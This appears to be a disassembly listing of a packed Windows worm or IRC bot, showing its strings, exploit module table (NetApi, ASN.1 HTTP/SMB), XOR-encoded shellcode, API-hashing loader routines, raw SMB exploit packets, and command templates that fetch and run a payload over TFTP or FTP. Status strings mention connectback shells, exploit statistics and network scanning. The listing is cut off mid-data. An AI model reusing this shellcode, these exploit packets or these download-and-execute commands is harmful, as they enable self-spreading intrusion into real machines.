4 aAlongi db 'Alongi',0 ; DATA XREF: .packed:0042ECC4o align 4 aAllison db 'Allison',0 ; DATA XREF: .packed:0042ECC0o aAleks db 'Aleks',0 ; DATA XREF: .packed:0042ECBCo align 4 aAlda db 'Alda',0 ; DATA XREF: .packed:0042ECB8o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .packed:0042ECB4o align 4 aAlavi db 'Alavi',0 ; DATA XREF: .packed:0042ECB0o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .packed:0042ECACo align 4 aAdorno db 'Adorno',0 ; DATA XREF: .packed:0042ECA8o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .packed:0042ECA4o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: .packed:0042ECA0o align 10h aAddison db 'Addison',0 ; DATA XREF: .packed:0042EC9Co aAdams db 'Adams',0 ; DATA XREF: .packed:0042EC98o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: .packed:0042EC94o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .packed:off_42EC90o align 4 aPc db 'PC',0 ; DATA XREF: .packed:0040ACF1o align 4 aS_3 db '%s|',0 ; DATA XREF: .packed:0040AD72o aS_4 db '[%s]|',0 ; DATA XREF: .packed:0040AE7Co align 4 a??? db '???',0 ; DATA XREF: .packed:loc_40AE73o ; sub_41B1FC:loc_41B2BFo a2k3 db '2K3',0 ; DATA XREF: .packed:0040AE6Co aXp_0 db 'XP',0 ; DATA XREF: .packed:0040AE5Eo ; sub_41B1FC+AAo align 4 a2k db '2K',0 ; DATA XREF: .packed:0040AE4Eo ; sub_41B1FC+98o align 4 aMe_0 db 'ME',0 ; DATA XREF: .packed:0040AE35o ; sub_41B1FC+7Eo align 4 a98 db '98',0 ; DATA XREF: .packed:0040AE25o ; sub_41B1FC+6Co align 10h aNt_1 db 'NT',0 ; DATA XREF: .packed:0040AE15o ; sub_41B1FC+5Ao align 4 a95 db '95',0 ; DATA XREF: .packed:0040AE07o ; sub_41B1FC+46o align 4 aD_2 db '[%d]',0 ; DATA XREF: sub_40AEC2+1Bo align 10h jmp short loc_432924 ; --------------------------------------------------------------------------- loc_432922: ; CODE XREF: .packed:loc_432924p jmp short loc_432929 ; --------------------------------------------------------------------------- loc_432924: ; CODE XREF: .packed:00432920j call loc_432922 loc_432929: ; CODE XREF: .packed:loc_432922j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_432930: ; CODE XREF: .packed:00432935j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_432930 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_432946: ; CODE XREF: .packed:0043294Bj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_432946 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_4329E8 jnz short loc_4329D4 retn ; --------------------------------------------------------------------------- loc_4329D4: ; CODE XREF: .packed:004329D1j ; .packed:004329E1j call near ptr loc_4329D9+1 loc_4329D9: ; CODE XREF: .packed:loc_4329D4p add [edx+0], ch call sub_4329E8 jz loc_4329D4 retn ; =============== S U B R O U T I N E ======================================= sub_4329E8 proc near ; CODE XREF: .packed:004329CCp ; .packed:004329DCp pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_4329E8 endp ; --------------------------------------------------------------------------- align 4 dword_432A14 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40B04A+10o aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B215+51o align 10h aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B215+35o align 4 aSym db 'sym',0 ; DATA XREF: sub_40B71C+4Fo ; sub_40BFAA+155o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B656+30o align 4 dd 5 dup(0) dword_432A90 dd 0B97h ; sub_401B66+1CEFo ... off_432A94 dd offset sub_40E80D ; DATA XREF: sub_40BFAA+1D7r dword_432A98 dd 0 ; .packed:0040D2F9r ... dword_432A9C dd 1 dword_432AA0 dd 1 dword_432AA4 dd 0 dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EA05h, 0 dd 1, 2 dup(0) aNet1 db 'net1',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DDC4h, 0 dd 1, 2 dup(0) dd 2D74656Eh, 31h, 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DDC4h, 0 dd 1, 2 dup(0) aNet2 db 'net2',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40E2B0h, 0 dd 1, 2 dup(0) dd 2D74656Eh, 32h, 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40E2B0h, 0 dd 1, 2 dup(0) aNet3 db 'net3',0 align 10h dd 454E0000h, 49504154h, 6 dup(0) dd 8Bh, 40E6CDh, 0 dd 1, 2 dup(0) dd 2D74656Eh, 33h, 454E0000h, 49504154h, 6 dup(0) dd 1BDh, 40E6CDh, 0 dd 1, 2 dup(0) aXmass db 'xmass',0 align 10h dd 616C0000h, 3331646Eh, 39h, 5 dup(0) dd 8Bh, 40D6F8h, 0 dd 2 dup(1), 0 aAsn1http db 'asn1http',0 align 2 aAsn_1Http db 'ASN.1-HTTP',0 align 10h dd 4 dup(0) dd 50h, 40D13Dh, 0 dd 2 dup(1), 0 aAsn1smb db 'asn1smb',0 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D13Dh, 0 dd 2 dup(1), 0 aAsn1smbnt db 'asn1smbnt',0 aAsn_1SmbNt db 'ASN.1-SMB NT',0 align 10h dd 4 dup(0) dd 8Bh, 40D13Dh, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aNet1_0 db 'net1',0 align 10h db 2 dup(0) byte_432DB2 db 1 ; DATA XREF: sub_401B66:loc_4037A5r ; sub_401B66+1C49o aNet2_0 db 'net2',0 dd 0 dd 656E0100h, 3374h, 0 dd 1, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_432DEA ; =============== S U B R O U T I N E ======================================= sub_432DDA proc near ; CODE XREF: sub_432DDA:loc_432DEAp pop edx dec edx xor ecx, ecx mov cx, 166h loc_432DE2: ; CODE XREF: sub_432DDA+Cj xor byte ptr [edx+ecx], 99h loop loc_432DE2 jmp short loc_432DEF ; --------------------------------------------------------------------------- loc_432DEA: ; CODE XREF: .packed:00432DD8j call sub_432DDA loc_432DEF: ; CODE XREF: sub_432DDA+Ej jo short near ptr dword_432D6C+1Eh cwde cdq cdq retn sub_432DDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B4C9+85o align 4 dword_432F6C dd 25370320h, 203A0373h, 2C6425hunk_432F78 db 2Dh ; - ; DATA XREF: sub_40B4C9+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_432F98 db 2Dh ; - ; DATA XREF: sub_40B597+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_432FE0 db 2Dh ; - ; DATA XREF: sub_40B602+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B656+7Eo dword_43301C dd 25370320h, 28200373h, 73253403h, 2C2903hdword_43302C dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B656+14o dd 7473694Ch, 3Ah unk_433048 db 2Dh ; - ; DATA XREF: sub_40B71C+16Fo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_43307C db 2Dh ; - ; DATA XREF: sub_40B71C+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_4330AC db 2Dh ; - ; DATA XREF: sub_40B8CE+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4330CC db 2Dh ; - ; DATA XREF: sub_40B8CE+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_4330E8 db 2Dh ; - ; DATA XREF: sub_40B945+4C5o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_43311C db 2Dh ; - ; DATA XREF: sub_40B945+386o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_433154 db 2Dh ; - ; DATA XREF: sub_40B945+326o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_433184 db 2Dh ; - ; DATA XREF: sub_40B945+25Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4331B8 db 2Dh ; - ; DATA XREF: sub_40B945+1FFo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_4331EC db 2Dh ; - ; DATA XREF: sub_40B945+137o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 10h unk_433220 db 2Dh ; - ; DATA XREF: sub_40BFAA+DCo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_433248 db 2Dh ; - ; DATA XREF: sub_40BFAA+84o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_433280 db 2Dh ; - ; DATA XREF: sub_40C1BE+1E0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 10h unk_4332C0 db 2Dh ; - ; DATA XREF: sub_40C1BE+168o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_4332F8 db 2Dh ; - ; DATA XREF: sub_40C1BE+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_43332C db 2Dh ; - ; DATA XREF: sub_40C1BE+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 10h unk_433360 db 2Dh ; - ; DATA XREF: sub_40C415+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 unk_433388 db 2Dh ; - ; DATA XREF: sub_40C4E2+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 10h unk_4333B0 db 2Dh ; - ; DATA XREF: sub_40C5D3+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 unk_4333DC db 2Dh ; - ; DATA XREF: sub_40C5D3+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40C94C+B2o align 4 dword_433414 dd 10FF8h, 0 dword_43341C dd 10FF8h dword_433420 dd 7FFDF020h, 0 dword_433428 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4334B0 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4334E0 dd 0 dd 800000D4h, 2 dup(0) unk_4334F0 db 81h ; ; DATA XREF: sub_40CE45+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_433540 db 41h ; DATA XREF: sub_40CEE3+108r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 8 ; =============== S U B R O U T I N E ======================================= sub_433588 proc near ; DATA XREF: .packed:0040D1BFo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_433684 push dword ptr [esi] push 63D61209h call sub_43369A mov [esi+8], eax call sub_43364D push dword ptr [esi+4] push 0CA2BD06Bh call sub_43369A mov [esi+0Ch], eax call sub_4335FF push dword ptr [esi+4] push 4C0297FAh call sub_43369A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_433588 endp ; =============== S U B R O U T I N E ======================================= sub_4335FF proc near ; CODE XREF: sub_433588+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_433628 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4335FF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_433628 proc near ; CODE XREF: sub_4335FF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_433637: ; CODE XREF: sub_433628+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_433644 inc ebx jmp short loc_433637 ; --------------------------------------------------------------------------- loc_433644: ; CODE XREF: sub_433628+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_433628 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43364D proc near ; CODE XREF: sub_433588+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_433665: ; CODE XREF: sub_43364D+1Ej cmp [ecx], ebx jz short loc_43366D mov ecx, [ecx] jmp short loc_433665 ; --------------------------------------------------------------------------- loc_43366D: ; CODE XREF: sub_43364D+1Aj mov edx, edi loc_43366F: ; CODE XREF: sub_43364D+2Aj cmp [edx+4], ebx jz short loc_433679 mov edx, [edx+4] jmp short loc_43366F ; --------------------------------------------------------------------------- loc_433679: ; CODE XREF: sub_43364D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43364D endp ; =============== S U B R O U T I N E ======================================= sub_433684 proc near ; CODE XREF: sub_433588+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_433684 endp ; =============== S U B R O U T I N E ======================================= sub_43369A proc near ; CODE XREF: sub_433588+16p ; sub_433588+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4336B0: ; CODE XREF: sub_43369A+33j jecxz short loc_4336EA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4336BD: ; CODE XREF: sub_43369A+2Dj lodsb cmp al, ah jz short loc_4336C9 ror edi, 0Dh add edi, eax jmp short loc_4336BD ; --------------------------------------------------------------------------- loc_4336C9: ; CODE XREF: sub_43369A+26j cmp edi, [esp+20h+arg_0] jnz short loc_4336B0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4336EA: ; CODE XREF: sub_43369A:loc_4336B0j ; sub_43369A:loc_4336EAj jmp short loc_4336EA sub_43369A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4336F0 proc near ; DATA XREF: .packed:0040D16Do arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_433742 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43370D: ; CODE XREF: sub_4336F0+38j jecxz short loc_43373D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_433718: ; CODE XREF: sub_4336F0+32j lodsb test al, al jz short loc_433724 ror edx, 0Dh add edx, eax jmp short loc_433718 ; --------------------------------------------------------------------------- loc_433724: ; CODE XREF: sub_4336F0+2Bj cmp edx, [esp+arg_0] jnz short loc_43370D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43373D: ; CODE XREF: sub_4336F0:loc_43370Dj mov [esp+arg_0], ebx retn sub_4336F0 endp ; =============== S U B R O U T I N E ======================================= sub_433742 proc near ; CODE XREF: sub_4336F0+7p ; FUNCTION CHUNK AT 0043377A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43375B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_433766 ; --------------------------------------------------------------------------- loc_43375B: ; CODE XREF: sub_433742+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_433766: ; CODE XREF: sub_433742+14j pop edi xor esi, esi pusha push esi jmp short loc_43377A sub_433742 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43376D proc near ; CODE XREF: sub_433742:loc_43377Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43376D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_433742 loc_43377A: ; CODE XREF: sub_433742+29j call sub_43376D loc_43377F: ; DATA XREF: sub_40C94C+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_433742 ; --------------------------------------------------------------------------- dw 0 dword_433784 dd 62B0606h, 2050501h, 0A0hdword_433790 dd 30h dword_433794 dd 0A1h dword_433798 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40C94C+153o align 4 loc_4337A4: ; DATA XREF: sub_40C94C+E8o jmp short near ptr dword_4337AC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4337AC dd 0 aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .packed:0040D194o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_433818 dd 0E983C933h, 0D9EED9AFh, 5BF42474h; --------------------------------------------------------------------------- loc_433824: ; CODE XREF: .packed:0043382Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_433824 inc edi jz short loc_43386B and eax, 952CE753h inc esp jle short loc_433893 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43386B: ; CODE XREF: .packed:00433831j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4338CA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_433890: ; CODE XREF: .packed:004338BDj xor [esi-25h], bl loc_433893: ; CODE XREF: .packed:00433839j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4338AC: ; CODE XREF: .packed:004338DFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_433890 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4338CA: ; CODE XREF: .packed:00433871j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_433956 jo short loc_4338AC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_4338ED+1 add bl, [edi] loc_4338ED: ; CODE XREF: .packed:004338E9j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_433902+2 cmp ch, bh dec edx loc_433902: ; CODE XREF: .packed:004338FDj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_433956: ; CODE XREF: .packed:004338DDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4339DC sub al, 0BCh jmp near ptr 54453D4Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_433978 dd 0EFFFC481h, 44FFFFh, 4339C4hdword_433984 dd 42Ah dword_433988 dd 3E8h dword_43398C dd 258h byte_433990 db 0 ; DATA XREF: sub_40D86F+1EFr ; sub_40D86F+2CFr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4339A8 dd 20804h ; sub_40D86F+2E8o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .packed:00433994o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4339DC: ; CODE XREF: .packed:00433960j push eax xor al, 29h loc_4339DF: ; DATA XREF: sub_40D86F+211o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_4339E8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_4339FC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D86F+78o ; sub_40E453+1A4o align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D86F+2Fo ; sub_40E453+150o align 10h aB: ; DATA XREF: sub_40DE14+ADo unicode 0, <> dw 4400h aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_433A80 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DE14+CEo dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0) dword_433AE0 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DE14+E8o dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_0 db 'Windows 2000 5.0',0 dd 2 dup(0) dword_433B98 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DE14+102o dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 